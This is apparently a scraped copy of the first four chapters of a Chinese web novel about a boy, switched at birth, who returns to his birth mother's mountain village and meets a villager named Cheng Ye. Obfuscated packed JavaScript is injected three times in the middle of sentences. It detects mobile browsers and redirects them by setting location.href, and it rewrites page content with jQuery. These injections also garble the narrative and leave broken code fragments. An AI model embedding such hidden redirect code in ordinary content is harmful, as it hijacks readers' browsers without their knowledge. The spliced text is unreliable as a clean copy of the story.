《假少爷回村后》 1. 第 1 章 晋江文学城独家发表。 二月,天依旧冷。 诊所里,医生送走最后一个病人,搓了搓有些发僵的手,拢紧外套坐在炉子边准备吃晚餐。 这几天都没出太阳,雾气和小雨笼罩着这偏远的小山村,才不到六点,天就黑了。 医生刚拿起筷子,还没来得及夹菜,陈旧的诊所大门传来咯吱一声响,一道修长的倒影被门口的光斜斜照进来。 冷风往里灌,伴随着少年略显清冷的声音,“你好,买药。” 医生搁下筷子,扭头往后看。 门口站着一个瘦高的少年。少年站姿挺拔笔直,身上套了件黑色的臃肿羽绒服,有些尖的下巴缩进衣领里,五官精致,投过来的目光很冷淡。 这张脸带来的冲击力有些大,医生惊了惊,几秒后才反应过来。他从炉子边站起来,用不太标准的普通话跟他交流,“买什么药?” 江时迈着腿往里走,打量了下诊所简陋的环境,又看了眼旁边乱糟糟的椅子,好看的眉头微微皱起,想转身出去,但想着这是这边唯一一家诊所,还是站在原地没动。 他当着医生的面撩起衣袖,露出布满密密麻麻红色疹子的手臂给他看,言简意赅,“过敏了,有药吗?” 他的手很好看,手指白皙细长,摊在灯光下宛如一件艺术品,所以也就显得手臂上的红疹触目惊心。 医生忍不住多看了两眼,问他,“看起来有点严重啊,这是怎么弄的?” 天气有些冷,江时放下衣袖,把手揣进兜里。他进来时忘记关门了,冷风往里吹,吹得他几乎把半张脸都缩进衣领里,说话时声音闷闷的,带着点无所谓的态度。 “不知道,睡醒就这样了,你到底有没有药?” 得,脾气还不是很好。 但医生一看他那张脸,又有点理解了。 他转身去柜台里找药,边找边说,“吃药只能缓解,你这个最好还是弄清楚自己是怎么过敏的,远离过敏原。” 江时也不知道听没听进去,只是看着医生在一堆药里翻翻找找,然后随手撕下三张纸,拧开瓶瓶罐罐开始配药。 医生把配好的药放进纸里叠起来,装进小袋子里递给江时,“给你开了一天的药,你先吃,如果吃了还没好转,就赶紧去大医院看看。” 江时接过袋子,忍着手臂上的痒意,伸出手从小袋子里捏出一包药,上面用铅笔写了个歪歪扭扭的“1+1=3”。 江时:“……” 他问医生,“这个药我吃了不会死吧?” 医生瞪他,“胡说什么,那害人的勾当我能干?你个小娃娃,不懂别乱说。” 行吧。 江时给了钱,拿着药出了诊所。 此时天已经完全黑了下来,天空飘着小雨,街边没有路灯,大部分人家早早就关了门,只有偶尔几家店还亮着灯。 冷风萧瑟,江时在原地站了会,看着这个完全陌生的地方,扯了扯嘴角。 谁能想到几天前他还是个养尊处优的小少爷,现在一眨眼身份变换,过敏了还得自己走半个小时的山路来买药。 事情说起来格外荒唐,几天前,江时还不叫江时,他姓宋,顺风顺水当了十多年的小少爷,结果忽然有一天被告知他不是他爸妈的亲生的,他的亲生母亲是来自偏远山村的一位中年妇女。 就这样,在他还没反应过来的时候,双方父母完成了交换,他跟着他的亲生母亲一路辗转,来到了溪柳村。 满打满算,到如今也不过三天。 …… 冷风裹着雨往江时脸上扑,他回过神,把药踹兜里,离开诊所门口。 前面是一家粉馆,上面写着“回头尝粉馆”几个大字,江时看了几秒,撩开挡风门帘走进去。 店里一个人也没有,只有老板坐在厨房看电视。 听见动静,他也不抬,用方言问,“吃啥子?” 江时把下巴从衣领里抬起来,声音懒懒散散的,“来碗粉,不要辣椒,不要香菜,不要葱,不要蒜,也不要姜……” 想了想,他又补充,“肥肉也不要,我不喜欢吃。” 老板:“……” 他朝位置上看去,只见刚刚说话的少年站在原地抽出两张纸,细细白白的指尖捏着纸慢吞吞地擦桌子。 他的动作很笨拙,似乎平日里很少干活,擦了半天也不知道擦没擦干净,反正心里那关过了,纸一丢,一屁股坐下了。 电视在放着还珠格格,老板埋头烫粉。 江时这也不要,那也不要,粉上来得很快。 这边的人口味比较重,一碗粉的精髓全在辣椒里,没了辣椒,这粉的确算不上多好吃,白色的粉沉在清淡的汤里,打一眼看去,清汤寡水。 江时拿着筷子搅了搅粉,试探性地吃了口,然后眉头就皱了起来。 好难吃。 他不信邪,又吃了口。 然后垮起个脸。 电视里的还珠格格已经放完了,一个假装是中药传承世家的老头在卖保健品。 在主持人咋咋呼呼的声音里,江时身后的门帘传来掀开的动静,冷风灌进来,然后是一道低沉的声音。 “老板,要芫荽吗?” 江时正在试图吃第三口。 老板从厨房里探出一个脑袋,看见来人,露出一个笑,“是你啊,老规矩,三角一斤。” 于是一道裹挟着香菜味道的人影从江时身侧穿了过去。 他们说的方言,江时只能听懂几个字,好奇地往厨房里看了眼。 从他的角度,只看得见一个高大的背影。 那人太高了,往那里一站,几乎把厨房的光都给挡住,这么冷的天,身上只套了件薄薄的外套,外套有些短,露出一截手腕,手里拎着一大筐香菜。 香菜的味道越发浓郁,这粉江时是一口也不想吃了。 他把敞开的拉链拉上,决定打道回府。 见他起身,老板从档口探出脑袋,“客人这么快就吃好了?” 江时耷拉着眼,连老板都懒得看一眼,“难吃死了,不想吃。” 老板:“……” “嘿!我……” 回答他的只有江时的背影。 程野稍微侧了下头,只看得见一道消瘦的身影消失在冷风中,而桌子上寡淡的粉还在冒着热气。 老板骂骂咧咧,“什么都不要,到头来还要怪我的粉难吃,也不知道是谁家的娃?” 程野没说话,取出称,勾住筐,轻松往上一提,递给老板看,“除去筐子的重量,总共十八斤。” 老板把钱给他,看着他裸露在外冻得发紫的手和脚,在心底微微叹了口气。 他朝程野道:“刚刚那人一看就不是我们这种地方的,三块一碗的粉,吃了没两口就走了,那粉还是满的,你要是不嫌弃就拿去吃。” 程野的一双眸子极黑,半长的头发挡住眼睛,听到老板这么说,他朝老板看去,眼神在灯光下散发着幽幽的光芒,像狼。 下一秒,这光芒敛了下去。 他接过钱拿起箩筐,裸露出来的手脚被冻得几乎没有知觉。 “谢谢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165292|165105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他朝老板说道,然后丝毫不矫情地坐在江时刚刚坐的位置上,沉默着把刚刚江时嫌弃得不行的粉大口送进嘴里。 - 江时怀疑自己走错路了。 滑盖手机快没电了,不知道是不是错觉,他甚至觉得手机手电筒的光芒都暗淡了许多。 他迎着冷风举起手机,跟前是一望无际的黑,脚底三条岔路各自像远方延伸。 所以他来的时候走的是中间这条还是右边这条? 没人能回答他的问题,这乌漆嘛黑的乡间小路,人影不一定有,鬼影就不好说了。 江时硬着头皮选了中间那条路。 走了十分钟,别说人,他连光都见不到一丝,倒是旁边的树林里传来窸窸窣窣的动静。 江时浑身的汗毛瞬间竖起来,他把手机往旁边一扫,企图用音量呵退对方,“谁?” 树林安静两秒,然后窸窸窣窣的声音更大了,同时还伴随着吭哧吭呲的喘气声。 江时:“……” 江时拔腿就往回跑。 老天奶,要是能活着出去,他再也不在晚上出门了! 吭呲吭呲的声音越来越近,江时越跑越快,然后一头撞上个不知道什么东西,整个人不受控制地往旁边歪去。 眼看着他要一头栽倒下去,一只手拽住他胳膊,硬生生把偏离航道的他拽回去。 江时人是没摔倒,可却清晰地听到了咔嚓一声响,紧接着脚踝传来钻心的疼。 “……” 他就说,溪柳村这个地方果然克他! 江时疼得两眼发黑,什么时候被人扶着坐到路旁的石头上都不知道。 几秒后,比他手机更亮的手电筒光打在江时脸上,低沉的声音在他耳边响起。 “你没事吧?” 江时这才反应过来他撞到的是个人,一个高大的人,他的脸戳在对方硬邦邦的胸膛上,不仅脚疼,鼻子也疼。 他一巴掌拍在对方拿着的手电筒上,“不是,你有病吧,大晚上的吓人!” 手电筒晃了下,光芒依旧稳稳地照着江时。 程野没说话,像狼一样的幽幽绿光锁定在江时脸上,呼吸很轻。 他不说话,江时顶着手电筒的强光朝对面看去。 对方的脸淹没在黑暗里,只能瞧见一个隐约的模样,脸型轮廓分明,长得很高,哪怕蹲着也像座小山一样牢牢围在江时面前。 江时能感觉到对方在看他,他有些不爽的开口,“喂!我跟你说话呢,你是哑巴吗?” 漂亮少年瞪人的时候五官更生动了,宛如江南水墨的眉目瞬间就活了过来,坐在这黑漆漆的山间小路上,仿佛偷溜出来吸人精气的精怪。 程野握着手电筒的力道更加紧,目光从江时脸上刮过,好一会才从喉咙里挤出两个字。 “抱歉。” 他一开口就道歉,反而把江时给整无语了。 光对着眼睛,照得江时很不舒服,他拿过程野手里的手电筒,转而对着他的脸。 “你是谁?” 程野抬起头,用手扒拉开有些长的头发,露出一张英俊的脸,漆黑的眼眸正对着江时。 他的眼睛是纯正的黑色,可对着光的时候,那黑会泛着点幽幽的绿光,乍一看很像狼。 可面对江时时,程野挺直的脊背向下塌,为了他能更好地看清自己的脸,他屈膝跪在了泞泥的小路上,像是一条被驯服的狼狗。 只是眼神依旧在江时脸上。 “程野。” 他缓慢道。 “我叫程野。” 2. 第 2 章 程野…… 江时在心底念着这个名字,试着动了动右脚,一动就疼。 他轻轻“嘶”了一声,把手电筒再次对着程野的脸,“你刚刚为什么吓我?” 对着强光,程野眼睛都不眨一下。见江时说普通话,他也用普通话回应他,嗓音很低沉,只不过带着口音。 “我没有吓你。”他的目光往江时身后掠去,那里站着一只狗,似乎很怕程野,瑟缩着不敢过来,“是村里面的野狗。” 江时也往后看,黑漆漆的,什么也看不见。 他又问程野,“那你为什么会在这里?” 程野老实道:“我听到声音才过来的,你走错路了,这条路是往山上去的。” 江时:“……” 下一秒,程野的手就搭上了江时的脚踝。 江时猛地收回脚,瞪着他,“你干嘛?!” 他一动,程野就不敢碰,高大的身躯缩手缩脚的收着,显得有些无措。 “我看你好像受伤了,想帮你看看……” “看什么看?”江时打断他,“你是医生吗就看?” 越说江时就越气。他跟着他亲妈来到溪柳村这段时间过得一点都不开心,再加上今日种种,程野简直就是往他枪口上撞。 他抬起没受伤的左脚往程野身上踹了下,多多少少带了点迁怒的意味,“不是你有病吧,大晚上的走路声音都没一下,还往我身上撞。” “……” 程野想说他有发出声音的,手里甚至还拿了个手电筒,可江时当时太害怕了,只顾闭着眼睛一个劲往前冲,压根不听不看。 可他的话涌到喉咙,看见对面少年那双漂亮的眼睛因为恐惧而泛起一层很浅的水光时,憋在嘴边的话吐出来时变成了简短的两个字。 “抱歉。” 总归他也有问题,如果不是他块头太大,江时撞了他也不至于扭了脚。 程野又道:“我送你去诊所看看吧?” “看个屁看!”江时道:“这个点诊所早就关门了。” 他低头弯腰捞起裤腿,右腿脚踝果然肿了一圈。 江时把肿了的右脚往前一伸,“都怪你,现在我要怎么回去啊?” 他身上的体毛很少,双腿常年捂在裤子下面,养成一身细腻的白,在手电筒昏暗的光线下,宛如上等的白瓷。 程野眼皮跳了下。 他垂下眼,看着那截脚踝。 耳边,江时还在喋喋不休地抱怨。他刚刚似乎害怕极了,此刻只有通过一些毫不讲理的谩骂和责怪才能缓解内心的恐惧。 按道理来说,只要是个正常人,面对江时这般不讲理的责怪都会发火,可程野没有,他只是低着头不说话,显得格外的沉默和木讷,和江时印象里的农村人没什么差别。 骂够了,江时理智回归,看着程野低着头一声不吭的样子忽然觉得有些心虚,他挪了挪屁股,裸露在外的那截小腿在冷夜里冻得有些发红。 像是为了佐证他刚刚不是在无理取闹,他又把脚往程野跟前伸了伸,“不信你自己看。” 几秒后,他跟前的人像是终于回过神来似的动了动手指,目光看着他的脚,在江时没反应过来的时候伸手摸上了那截脚踝。 程野身上的衣服比江时少多了,不知道是因为赶路还是什么,他手上的温度却比江时高,刚一摸上去,江时就被烫得打了个哆嗦。 他不受控制地低头看去。程野的手很黑,是那种常年劳作晒出来的古铜色,掌心纹路粗糙。不仅黑,还大,稍微一收拢,江时的脚踝就这样被圈在了手心里。 两种极端的肤色对比,看得江时心跳没由来地快了一拍,心底爬上来一抹有些怪异的感觉。 他还没来得及思考,肿起来的脚踝就被程野的大拇指按了下,动作很轻,但江时还是忍不住“嘶”了声。 程野的手依旧放在脚踝上没动,“没伤到骨头,肿起来的地方回去养两天就好。” 说着他的手又收紧了点,手心的温度源源不断地传向底下的皮肤。 “你家是哪里的?我送你回去。” 江时觉得这个动作有点怪,他把自己的脚收回去,然后放下裤腿,“我也不知道我家是哪里的,那谁……江雪你知道吗?” 程野收回手,手掌垂在身侧,在江时看不见的地方,他的大拇指从食指上碾过。 “知道……”他低声道,把背上的箩筐取下来,转身蹲在江时面前,“我背你回去,你太晚没回家,江姨会担心。” 这地方黑漆漆的,一个人也没有,江时虽然有手机,但江雪没有,而他这个样子的确也走不了路。 他盯着眼前宽阔的背,心想他一个大男人,总不能被人拐去卖了吧?于是一狠心,咬着牙爬上了程野的背。 爬上去了还不忘虚张声势,“喂,我很重的,你能行吗?” 程野一手托着江时的屁股,一手拿着箩筐,很轻松就站了起来。 江时拿着手电筒靠在他肩上,电筒一晃一晃的,脚下的路看得不是很真切,程野丝毫不受影响,每一下都走得很稳。 “不重。”他回答江时的问题,“你很轻。” 毕竟他干活的时候,随便一扛就是两百斤。 江时:“……” 这人怎么跟个木头一样? 背后又传来窸窸窣窣的声音,江时的汗毛又竖了起来,“那东西又来了!” 程野扭头,对着暗处用方言低声呵斥了一句,紧接着窸窸窣窣的声音越来越远,然后消失不见。 江时也扭头,依旧什么都看不见。 “真的是狗吗?我怎么什么都看不见?” 程野往前走,“是狗,我眼神比别人好一点,在晚上也看得清。” 江时下意识朝他眼睛看去,只看得见他长得快把眼睛挡住的头发。 江时:“……” 他顿了顿,“你还挺非主流。” 这时候非主流正流行,他之前的那些同学们恨不得把两只眼睛都挡起来。 不等程野回答,江时又问他,“我们是一个地方的吗?我刚刚听见你喊江……呃……我妈喊江姨。” “是一个地方的,我家就在……”话还没说完,程野停下步子,朝前面看去。 在那里,火光点亮了半边山,熙熙攘攘的呼喊声随着火光传过来。 江时被吓了一跳,“那是什么?” 程野站在原地听了几秒,然后道:“他们是来找你的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165293|165105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “什……什么?” - 晚上十点,江家灯火通明。 江雪拿着烧好的热水给坐在院子里的村里人泡茶。她一边倒茶一边道谢,“对不住了各位,大晚上的跟我跑这么一趟,我也不知道他去街上了,他这刚过来,人生地不熟的,我生怕他有个什么意外。” 接过茶的人表示理解,一边喝茶一边往屋里看。 刚刚出动了半个村去找的少年就这么安安静静的坐在椅子上,村里的土医生按了按他的脚踝,少年疼得眉头都皱了起来。 灯泡不是很亮,光线朦胧,衬得里面的人宛如雾中花,水中月。 更多的目光落在江时身上,渐渐的,众人开始劝江雪。 “你也别生气了,我看孩子也不是故意的,这地方路又多,他迷路简直太正常不过。” “是啊是啊,他脚都伤了,你别骂他了。” “这刚换了身份,来到一个新地方,不适应是正常的,你要给他时间……” “哎哟……江雪我看你这新认来的儿子长得实在好看,说媳妇了没得,我闺女……” 江雪:“滚滚滚……” 送走了一堆看热闹的人,江雪才回去看屋子里的江时。 土医生对着江时叽里呱啦,江时一句也没听懂,于是伸手捅了捅旁边的程野,“他说啥呢?” 程野给他解释,“他说不是很严重,这两天别下地,明天一早去他家拿点药草过来敷。” “哦……”江时道:“他有证吗?我用了会不会……” 程野忽然站起来,“江姨。” 江时抬头,发现江雪不知道什么时候站在了他旁边。 他顿时不说话了。 江雪问土医生,“他怎么样了?” 医生把刚刚说的话又说了遍。 江雪闻言松了口气,“麻烦张叔了,明天一早我来找你拿药,等到赶集的时候去街上打酒给你喝。” 送走医生,江雪又跟程野道谢,“今天晚上多亏你了,要不是你,我都不知道会发生什么事……” 练了半天听力,这回江时连蒙带猜终于读懂了江雪的意思。 他顿时不满道:“要不是他撞到我,害得我崴了脚,我也不至于回不来。” 江雪瞪了他一眼。 哪怕两人才相认没多久,刻在血脉里的威压不容小觑。被江雪一瞪,江时顿时就老实了。 江雪道:“小野啊,真是太感谢你了,我做了饭,明天记得过来吃啊。” 程野下意识拒绝,“不用……” 江雪,“这两天下雨,我忙着犁地,时常不在家,江时现在又崴了脚,哪里都去不了。他刚过来,不熟悉这里,你俩又是同龄人,你当帮姨一个忙,过来陪他两天,让他熟悉熟悉。” 这回江时又不满了,“我不需要。” 江雪直接无视他。 程野朝江时看去,灯泡比手电筒亮,把江时的脸照得更加清晰,也更好看了。 掌心传来一阵火辣辣的感觉,程野看着那张脸,目光有些移不开,停顿了几秒,他鬼使神差开口。 “好。” 江时:“……” 不是,就没人问问他的意见吗? 3. 第 3 章 程野一走,屋里顿时只剩下江时和江雪两人。 风吹得没关紧的门呜呜作响,旁边的炭火发出细微的噼啪声,两人都没说话。 最终是江雪忍不住叹了口气,拉过一张椅子坐在江时跟前。她的目光从他脚上扫过,问他,“脚疼吗?” 江时下意识把撸上去的裤腿放下,严严实实盖住肿起的脚踝。 “不疼,只是看着吓人。” 空气又陷入安静,江时的手指在裤缝上扣来扣去。 好尴尬,谁来救救他。 噼啪—— 耳边传来木炭再次炸开的声音,江雪开口了。 江时不会这边的方言,她学着用普通话跟他交流,可她没读过书,也没学过普通话,一开口就是浓重的口音,说起来腔调怪异。 “我知道你这两天不开心。说实话,谁遇到这种事都会不开心。明明犯错的是我们,到头来却要让你们来承担后果。” “你有不满意的地方可以跟我说,要是真的待不习惯,想走也可以说,但别拿自己的安危开玩笑。那山里一个人也没有,不仅有野狗,可能还会有狼,要是你今天没遇到程野,出了事可怎么办?” 江时一点点扣着裤缝,指尖被牛仔裤的布料磨得有些发红。 他面对最多的是旁人带着目的的讨好和接近,厌恶也好,有所求也好,都披在一层虚伪的皮下,所以他也习惯了用尖锐的刺将这层虚伪的皮刮下来。 江雪这种朴素浓烈的善意他是第一次见。 没人教江时要怎么面对。 他罕见地产生了犯了错的心理,头颅往下垂了点,“抱歉。” 他一低头,后颈在灯光下延伸出一截绵延的白,带着点棕色的发丝柔顺地搭在脸侧,黑色衣服上零星落了好几处泥点。 没了刚见时那股凌人的气质,浑身湿漉漉,脏兮兮。 江雪的心更软了。她想伸手揉揉江时的头,想着两人现在的关系,最终还是没动。 “那你可以告诉妈妈,你去街上干什么吗?” 江时动了下屁股,身下的椅子随着他的动作发出吱呀吱呀的声响,他把右腿搭在一边的小凳子上,捞起衣袖,露出密密麻麻的红色疹子给江雪看。 “过敏了,去买药。” …… 刚看到江时照片的时候江雪还是很难相信自己能生出这么漂亮的儿子。 可江时的五官跟她和她死去的丈夫很像,简直就是把两人的优点全融合了。要是站在一起,别人肯定会惊叹江时的外貌,但不会怀疑不是她亲生的。 初见江时是在繁华的江城,她坐了将近两天的绿皮火车,一下车就过去见他,浑身皱巴巴、乱糟糟。 十七八岁的少年在饭店里等她,外面很冷,可里面却暖和得像夏天,江时白衣黑裤,再简单不过的穿搭,远远望着,像冷冬里悄然绽放的纯白玉兰。 可玉兰应该在枝头高挂,精心呵护,而不是跟着她从云端踏入沼泽。 她既觉得对不起宋建安,也觉得对不起江时。 是她无能,让宋建安跟着她吃了十多年的苦,到头来又要让享了十多年福的江时又回来跟着她吃苦。 比起从未得到,得到后又失去才让人最难接受。 可她怪不了谁,只能怪她自己,怪她当初没看好自己的孩子。 而现在,她好不容易认回来的孩子,在她眼皮底下待了才几天,就长了满身的红疹。 江雪的眼眶瞬间就红了。 她身上少了股江时认知里女性温婉的气质,反而带着乡野地区的悍气。上一秒刚红了眼眶,下一秒就一巴掌拍在江时头上。 “你个呆瓜儿!生病了怎么不跟你老娘说?!” 江时被她拍得脑袋一歪,眼前顿时有些发黑,等他再回过神来时,江雪已经拿起水壶去给他打水烧开吃药了。 江雪不过一米五几的身高,看起来也瘦,但力气很大,行动上风风火火的,拉开门走到外面,单手把盖在水缸上面的板子拿下来,弯着腰打水。 冷风从外面灌进来,江时坐在破旧的屋子里,没由来地笑了声。 - 程野醒得很早,他起的时候院子里的鸡都还没叫。 他没开灯,而是摸黑翻到打火机,点亮了旁边柜子上的煤油灯。 幽幽的光芒从细弱的灯芯里窜起,烛火跳动,照亮他的脸。 他举着灯出了房间。堂屋里空荡荡的,只有墙上和门边还贴着有些卷边的白底对联,没撕掉的花花绿绿符纸从中槛垂下,空气里似乎还残留着香灰的味道。 程野穿过堂屋,来到外间的厨房。 他借着煤油灯的光开始烧火,然后烧水洗漱。 盆是用了不知道多少年的搪瓷盆,放在木架上,架子上有一块碎了半边的镜子。 程野胡乱擦了把脸,看着那半边镜子,弯下腰,在跳跃的火光里把自己有些长的头发撩起来,露出一双狭长漆黑的眼。 耳后似乎还残留着少年呼气在上面的感觉,暖暖的,又带着点不知名的香。 就连说话也是,音色冷冷清清的,偏生尾音向上勾,冷清里顿时多了分旖旎的味道。 程野伸手碰了碰耳后,放下洗脸的毛巾,开始翻箱倒柜。 - 江时是被鸡鸣狗吠的声音吵醒的。 二月份,天气还冷,他根本不想起来,只能无能狂怒地拉过被子蒙住脑袋。 三分钟后,江时败给了江雪门口院子里的那群公鸡。 人是醒了,但他不想起,从被子里探出一只手去摸枕头旁边的手机,打算玩会推箱子再起。 那时候□□这个软件才出来没多久,江时也有钱,根本不在乎花多少流量,天天就这么拿手机挂着刷等级。 来到溪柳村的这段时间他没心情玩手机,自然也忘了关流量。 看着这个熟悉的软件,江时犹豫了瞬,还是点了进去。 里面有几十条消息,有借着关心的名义打探他和宋建安的事的,也有明里暗里嘲笑他的,唯一发了十几条的只有张池。 他怕触及江时的伤心事,连电话也不敢打,只能在企鹅上暗搓搓的发些心灵鸡汤。 江时看得有些无语,打字回他。 【你爹好着呢,吃好睡好,没死没残。】 他没看其他人阴阳怪气的消息,刚想点退出,结果发现联系人那里多了个+1。 江时点进去,发现多了条好友申请,上面就三个字: 宋建安。 那位跟他抱错的孩子,宋家真正的孩子。 江时没什么表情的盯着那个名字看了几秒,最后点了通过。 两分钟后,对面发来消息。 宋建安:【您好。】 江时心想,他还挺有礼貌。 他不知道对面要干什么,索性也回了个“你好”。 宋建安:【我让我妈留给你的东西你看了吗?】 江时缓缓打了【?】过去。 宋建安:【没看到吗?估计是她太忙,给忘了,你回头跟她说一下。】 不等江时回答,他消息一条接一条。 宋建安:【一中26号开学,寒假作业我整理成单子,到时候发给你,虽然你刚转过来不用写寒假作业,但学而不思则罔,思而不学则殆,还剩十天,我相信你可以把寒假作业写完的。】 江时:【……】 宋建安:【我查了江城三中,学风还不错,教学资源比一中好,但教材跟林城一中的完全不一样。】 宋建安:【我会整理林城一中的教材和进度发给你,作为回报,我希望你也把江城三中的整理发给我,这样才能有助于我们彼此融入新的学习环境。】 江时来来回回看了几遍消息,看得他两眼发黑。 要他干什么来着? 宋建安等了许久都没等到江时的回复,忍不住敲他。 宋建安:【怎么?很为难吗?我知道,学习资料很私密,跟你要这么私密的东西的确很为难,但我跟你保证,我绝不外传。】 宋建安:【我让我妈,也就是你妈转给你的东西是我这几年珍藏下来的宝贝,我听他们说你成绩还不错,看了我的宝贝,我相信你到了一中肯定能跟上进度。】 【……】 江时打字。 【谁跟你说我成绩还不错的?】 那边犹豫了会。 宋建安:【啊?不是吗?】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165294|165105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江时面无表情。 宋建安:【没关系,你有什么不懂的可以问我,我年级第二。】 江时拢共和宋建安也只见过一面,当时的场面很混乱,他的心情也很混乱,根本来不及观察对方是个什么样的人,隐约只能回想起对方黑黑的脸蛋,面容算得得上清秀,坐在他对面沉默着捧着一个单词本在背。 当时他还觉得这位哥装来着,如今看来,倒是表里如一。 宋建安说来说去,字里行间只有对知识的渴望,甚至怀疑江时是在私藏珍贵的学习资料,所以不想告诉他三中的学习进度。 江时学渣一个,哪里知道什么狗屁的学习重点和进度,看他发了一通消息后,忍不住问他。 【你不恨我吗?】 这回轮到宋建安回了个【?】。 宋建安:【我为什么要恨你?】 江时:【如果当时没有抱错,你就不用受这么多苦。】 宋建安:【这只是意外,又没有谁故意为之,为什么要怪你?再说了,之前在溪柳村的时候我还能安心学习,现在来到江城,每天都要跟着他们出去见人和参加各种乱七八糟的宴会,大大缩短了我的学习时间。】 宋建安:【难怪你成绩不好。】 江时:【……】 没必要,真的。 在宋建安不知道第一次怀疑他私藏学习资料的时候,江时头疼的把张池的联系方式推给他。 江时:【他成绩还行,你问他要。】 想了想,他补充。 江时:【去了那边,有什么不懂的你可以问他,如果被人欺负了,也可以找他。】 就这样,江时和这位真少爷的第一次交锋在格外神圣的学术探讨里落下帷幕。 …… 木头房子的采光都不怎么好,哪怕外面天光大亮,屋里也只有窗沿处溜进来一道细细白白的光。 江时放下手机,盯着那道细细白白的光看了会,睡意重新涌上来。 在闭上眼晴之前,他脑海里蹦出一个念头。 宋建安刻苦成那样也只考了个年级第二,那第一是谁? - 程野掐的时间很准,他来的时候江雪差不多刚要出门。 清晨的雾气很重,天空飘着毛毛细雨,江雪把背篓挎上,正打算牵牛去犁地,程野便从旁边的小路上来。 他手里拎着一只鸡,鸡被他杀了拔了毛,还没来得及开肠破肚。 看见江雪,他站在原地跟她问好,“江姨。” 江雪听到声音回头,先是被他的忽然变短的头发惊了瞬,然后才留意到他手上拎着一只鸡。 “哎!不是,我让你来吃饭,不是让你来拿吃的过来,你搞只鸡过来干什么?” 程野道:“家里最后一只了,留着也没什么用。” 那截消瘦的脚踝在程野梦里晃了一晚上,他一只手就能圈过来,太瘦了,得补补。 江雪瞪了他一眼,“赶紧拿回去,我家又不是没鸡。” 程野不吭声。 他人向来如此,从小性子就冷,有什么也不说,哪怕遭遇那么大的变故,也只是一个人默默的抗。 江雪借着江时叫程野吃饭,也是心疼他一个人,没想到他反手拎了鸡过来。 再说下去她怕触及程野的伤心事,只能把鸡接过来,“锅上蒸了红苕和馒头,你去拿来吃,江时还在睡觉,你待会叫他起来敷草药。” 江雪絮絮叨叨,“这死孩子还过敏了,我昨天连夜给他换了被子,也不知道今天好点了没。” 程野撩了下眼皮。 江雪看着他又笑了,“别说,你头发短了我看着还有点不习惯。” 没了头发的遮挡,程野轮廓分明的脸全露了出来,眉目深邃,眼睛很黑,瞧过来时,总感觉有几分深沉的压抑。 江雪问他,“你自己剪的?” 程野“嗯”了一声。 “难怪,看着坑坑洼洼的,怎么会忽然想起来剪头发?” 耳后又传来了柔和的呼吸声,鼻息落在颈后,从他的耳畔掠过,然后停在肩头。 “你还挺非主流。” 程野说。 “不好看。” 4. 第 4 章 江时再次睁开眼的时候已经是早上十点。 他双手揪住被子的一角,从大红的喜被上坐起来,手臂上的红疹经过一晚已经消退很多,只剩下一点玫红的印子,像开在雪地里的梅。 被子是江雪昨天晚上跟隔壁邻居借的,两夫妻才刚结婚没多久,结婚用的被子材质很好,但婚期一过,被子就没人盖,干脆就给了江时。 瞧见大红被子上大大的“喜”字时,江时的内心千万个不愿意,结果江雪不知道哪里来的怪力气,拉着他一扭一塞,就这么给他塞了进去。 江时无奈,只能像个新媳妇一样在大红被子里滚了一晚上。 而此刻,他头发凌乱的坐在被子里,脸颊带着睡出来的红晕,双眼迷蒙,像剥了壳的雪白荔枝。 红的晃眼,白的也晃眼。 江时缓了会才起床。 今天依旧冷,他昨天的羽绒服已经脏了,于是只能随便找件厚卫衣套在身上。 一推开门,没见着江雪,反而看见自家门口蹲了个高大的背影。 听到动静,背对着江时的人回头,一双狭长冷冽的黑眸顿时和他对上。 没了刘海的阻隔,江时几秒后才反应过来这人是谁,不确定的喊了声,“程野?” 程野放下手里的菜刀,目光从江时脸上掠过,然后又垂下眼,长且直的眼睫盖住眼底的情绪,整个人显得格外老实木讷,“嗯,是我。” 江时没想到他还真来,他往程野身后看了眼,发现这位哥在给鸡开肠破肚。 “……” 比他这个主人还不见外。 程野洗干净手,去屋里把还没冷掉的红薯和馒头端出来,“江姨说这是早餐。” 他找了个椅子给江时坐下,看他用白皙细长的指尖从里面挑出来一个卖相最好的红薯,转身去屋里拿江雪早上拿来的草药。 草药已经做成了药膏的样子,贴上去就可以了。 这时候雾散了,雨也停了,远处的山像洗过的水墨画一样清透,江时没见过这种景色,看得有些呆,结果跟前猝不及防蹲下来一个人。 眼前的景象莫名和昨天晚上重合,只不过程野给自己剪了个寸头,深邃到近乎凌厉的五官全露了出来,特别是那双眼睛,深不见底黑,锁定人的时候,有种被野兽盯上的错觉。 下一秒,程野碰了碰江时的裤腿,老老实实征求他的意见,“我能把它掀上去吗?你该敷药了。” 语气呆板,动作畏缩,又回到了江时熟悉的老实人风格。 程野那么高的个子,就这样蹲在江时面前,让江时总有种欺负他的错觉。 “不用,我自己来……” 